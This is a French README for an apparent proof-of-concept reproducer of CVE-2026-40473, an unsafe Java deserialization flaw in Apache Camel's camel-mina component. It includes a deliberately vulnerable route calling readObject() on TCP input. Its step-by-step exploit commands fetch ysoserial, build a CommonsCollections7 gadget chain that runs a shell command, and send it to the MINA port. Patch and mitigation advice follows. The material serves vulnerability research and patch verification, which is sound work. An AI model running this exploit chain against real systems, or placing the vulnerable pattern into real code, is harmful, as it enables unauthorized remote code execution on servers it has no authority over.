
Reproducteur pour CVE-2026-40473 : désérialisation non sécurisée de MinaConverter.toObjectInput dans camel-mina d'Apache Camel (RCE sur TCP/UDP)
Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-mina d'Apache Camel, suivie sous le numéro CVE-2026-40473. Le convertisseur de type MinaConverter.toObjectInput(IoBuffer) encapsule les octets reçus dans un ObjectInputStream brut sans ObjectInputFilter. Ainsi, une route qui convertit un corps TCP/UDP en ObjectInput et appelle readObject() peut être amenée à une exécution de code à distance par un attaquant envoyant un objet sérialisé contrefait sur le port MINA.
Avis : https://camel.apache.org/security/CVE-2026-40473.html
| Propriété | Valeur |
|---|---|
| Composant | camel-mina |
| Classe affectée | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Impact | Exécution de code à distance (RCE) sur TCP/UDP |
| Versions affectées | De 3.0.0 avant 4.14.6, de 4.15.0 avant 4.18.2, de 4.19.0 avant 4.20.0 |
| Versions corrigées | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23319 |
| Signaleur | Venkatraman Kumar (Securin) |
Le convertisseur de type IoBuffer → ObjectInput encapsule le tampon dans un ObjectInputStream brut :
// MinaConverter.toObjectInput(IoBuffer) - version affectée
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // PAS de ObjectInputFilter
}
Lorsqu'un consommateur TCP/UDP camel-mina délivre les octets bruts (par exemple avec allowDefaultCodec=false) et que la route demande un ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, ou convertBodyTo(ObjectInput.class)), ce convertisseur s'exécute. L'appel de readObject() sur le flux retourné exécute alors toute chaîne de gadgets dans les octets fournis par l'attaquant.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // point d'entrée de désérialisation
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Sur JDK 21, ajoutez --add-opens pour générer les gadgets CommonsCollections :
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# L'assistant intégré ouvre un socket TCP brut vers mina:5555 et écrit les octets ; la route victime
# les convertit en ObjectInput et appelle readObject().
# -> ">>> Preuve RCE — /tmp/pwned existe : true"
(Le port MINA 5555 est interne au conteneur dans cette POC ; l'assistant /exploit/inject effectue l'envoi TCP brut depuis l'intérieur. Exposez le port 5555 pour envoyer depuis l'hôte avec un client brut comme nc.)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
Tout consommateur TCP ou UDP camel-mina dont la route convertit le corps en ObjectInput (directement, via @Body ObjectInput, ou convertBodyTo(ObjectInput.class)) est exploitable par quiconque peut atteindre le port MINA.
ObjectInput.commons-collections:3.2.1).Mettez à jour vers 4.14.6 / 4.18.2 / 4.20.0. Le correctif applique un ObjectInputFilter / une liste blanche de classes au convertisseur (en accord avec le durcissement appliqué à camel-netty, camel-jms et camel-infinispan).
En attendant la mise à jour :
ObjectInput / ne les désérialisez pas.CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victime : from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject : envoie des octets sérialisés sur TCP vers mina:5555
└── resources/
└── application.properties
Ce reproduiseur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.